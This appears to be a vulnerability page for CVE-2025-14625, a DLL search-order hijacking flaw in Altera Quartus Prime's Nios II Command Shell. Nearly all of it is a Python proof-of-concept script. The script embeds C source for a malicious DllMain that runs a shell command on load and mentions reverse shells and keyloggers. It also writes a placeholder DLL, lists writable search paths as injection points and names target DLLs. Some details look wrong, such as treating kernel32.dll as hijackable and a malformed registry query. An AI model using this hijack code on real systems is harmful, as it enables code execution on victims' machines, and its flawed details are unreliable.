CVE-2025-14625 Altera Quartus Prime搜索顺序劫持漏洞

#!/usr/bin/env python3 """ CVE-2025-14625 PoC - DLL Search Order Hijacking Target: Altera Quartus Prime Nios II Command Shell (Windows) Author: Security Research """ import os import ctypes from ctypes import wintypes # Malicious DLL that will be loaded instead of legitimate DLL MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute malicious payload system("cmd.exe /c whoami > C:\\\\Temp\\\\poc_output.txt"); // Or execute reverse shell, keylogger, etc. } return TRUE; } ''' def create_malicious_dll(dll_path, target_dll_name): """ Create a malicious DLL with the same name as the target DLL Place it in a location that will be searched before the legitimate DLL """ # Common DLL names that Quartus Nios II Command Shell might load common_dlls = [ "msvcr120.dll", "msvcp120.dll", "kernel32.dll", "user32.dll", "advapi32.dll" ] # Check if target DLL is in the list of commonly loaded DLLs if target_dll_name.lower() in [dll.lower() for dll in common_dlls]: print(f"[*] Target DLL '{target_dll_name}' is a common system DLL") print(f"[*] Creating malicious DLL at: {dll_path}") # In real attack scenario, compile the DLL with malicious code # For demonstration, create a placeholder with open(dll_path, 'wb') as f: f.write(b'MZ' + b'\x00' * 58 + b'\x90' * 64) print(f"[+] Malicious DLL created successfully") return True else: print(f"[-] Target DLL '{target_dll_name}' is not a common DLL") return False def check_dll_search_order(): """ Check the DLL search order on Windows """ print("[*] Checking DLL Search Order Configuration") # Check if Safe DLL Search Mode is enabled try: import winreg key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode" ) value, _ = winreg.QueryValueEx(key, "") winreg.CloseKey(key) if value == 1: print("[+] Safe DLL Search Mode is ENABLED") else: print("[-] Safe DLL Search Mode is DISABLED - More vulnerable") except: print("[-] Could not determine Safe DLL Search Mode status") def enumerate_dll_search_paths(): """ Enumerate paths where DLLs might be searched """ paths = [] # Application directory app_dir = os.path.dirname(os.sys.executable if __name__ == "__main__" else "") paths.append(app_dir) # System directory system_dir = os.environ.get('SystemRoot', 'C:\\Windows') + '\\System32' paths.append(system_dir) # Windows directory windows_dir = os.environ.get('SystemRoot', 'C:\\Windows') paths.append(windows_dir) # PATH environment variable path_env = os.environ.get('PATH', '') paths.extend(path_env.split(';')) print("[*] DLL Search Paths:") for i, path in enumerate(paths): print(f" {i+1}. {path}") return paths def main(): print("=" * 60) print("CVE-2025-14625 - DLL Search Order Hijacking PoC") print("Target: Altera Quartus Prime Nios II Command Shell") print("=" * 60) # Check system configuration check_dll_search_order() # Enumerate DLL search paths paths = enumerate_dll_search_paths() # Identify potential injection points print("\n[*] Potential DLL injection points:") for path in paths: if os.path.exists(path) and os.access(path, os.W_OK): print(f" [!] Writable: {path}") # Target DLL names commonly used by Quartus target_dlls = [ "nios2gcc.dll", "nios2eds.dll", "QuartusPrime.dll" ] print("\n[*] Target DLLs for Quartus Prime:") for dll in target_dlls: print(f" - {dll}") print("\n[!] Note: This is a PoC for educational purposes only") print("[!] Always obtain proper authorization before testing") if __name__ == "__main__": main()